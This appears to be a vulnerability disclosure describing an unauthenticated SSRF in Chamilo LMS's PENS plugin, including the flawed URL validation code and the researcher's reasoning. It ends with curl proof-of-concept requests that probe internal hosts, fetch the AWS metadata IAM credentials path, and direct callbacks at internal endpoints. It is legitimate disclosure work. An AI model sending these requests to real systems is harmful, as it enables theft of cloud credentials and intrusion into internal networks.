
Unauthenticated SSRF in Chamilo LMS via PENS plugin (pens.php) — CVSS 7.5
Severity: High (CVSS 7.5)
CWE: CWE-918 (Server-Side Request Forgery)
Affected: chamilo/chamilo-lms 2.x (commit af6b7002 and earlier)
Advisory: GHSA-g2xj-4cch-j276
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
The PENS (Package Exchange Notification Services) plugin endpoint public/plugin/Pens/pens.php is accessible without authentication and accepts user-controlled URLs for both package download and callback notifications. The URL validation functions check scheme and host presence but perform no private IP filtering, allowing unauthenticated SSRF into internal networks and cloud metadata services.
After finding CVE-2026-33715 in Chamilo's install.ajax.php, I kept auditing the codebase for other unauthenticated endpoints with network-side effects. The PENS plugin (public/plugin/Pens/) stood out: PENS is a legacy e-learning content delivery protocol that involves fetching packages from external URLs and sending callbacks to external servers — both classic SSRF surfaces.
I read PensProcessor.php looking for the URL validation logic. isAllowedDownloadUrl() and isAllowedCallbackUrl() both check scheme (http/https) and non-empty host — and stop there. No RFC 1918 filtering, no loopback check, no link-local check. The comment even says "returns true" after the host check, which made it obvious this was written without SSRF in mind.
What distinguishes this from the previous Chamilo CVE: it has two independent SSRF vectors — one for the package fetch (the server pulls a file from attacker-controlled URL) and one for the callbacks (the server POSTs to attacker-controlled endpoints). The callback vector is particularly useful for exfiltrating internal service responses, since the server will POST the PENS status data to whatever URL you specify, and you control the response parsing.
On cloud deployments, the 169.254.169.254 metadata endpoint is reachable through both vectors.
File: public/plugin/Pens/lib/PensProcessor.php
Two distinct SSRF vectors:
Vector 1 — Package URL fetch (lines 376, 138):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← no private IP check
}
// Then fetched with curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
Vector 2 — Callback SSRF (line 318): The receipt and alerts parameters specify URLs where the server sends POST callbacks — same absent validation.
isAllowedDownloadUrl() and isAllowedCallbackUrl() only validate that the URL has an http/https scheme and a non-empty host. RFC 1918 private ranges (10.x, 172.16.x, 192.168.x), loopback (127.x), link-local (169.254.x — cloud metadata), and IPv6 equivalents are all accepted.
# Vector 1: Probe internal network via package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# AWS metadata endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Vector 2: Callback SSRF — server POSTs to attacker-controlled internal endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254Note: this is distinct from CVE-2022-27426 (SSRF in social/links tools) — different code path, different plugin, unauthenticated.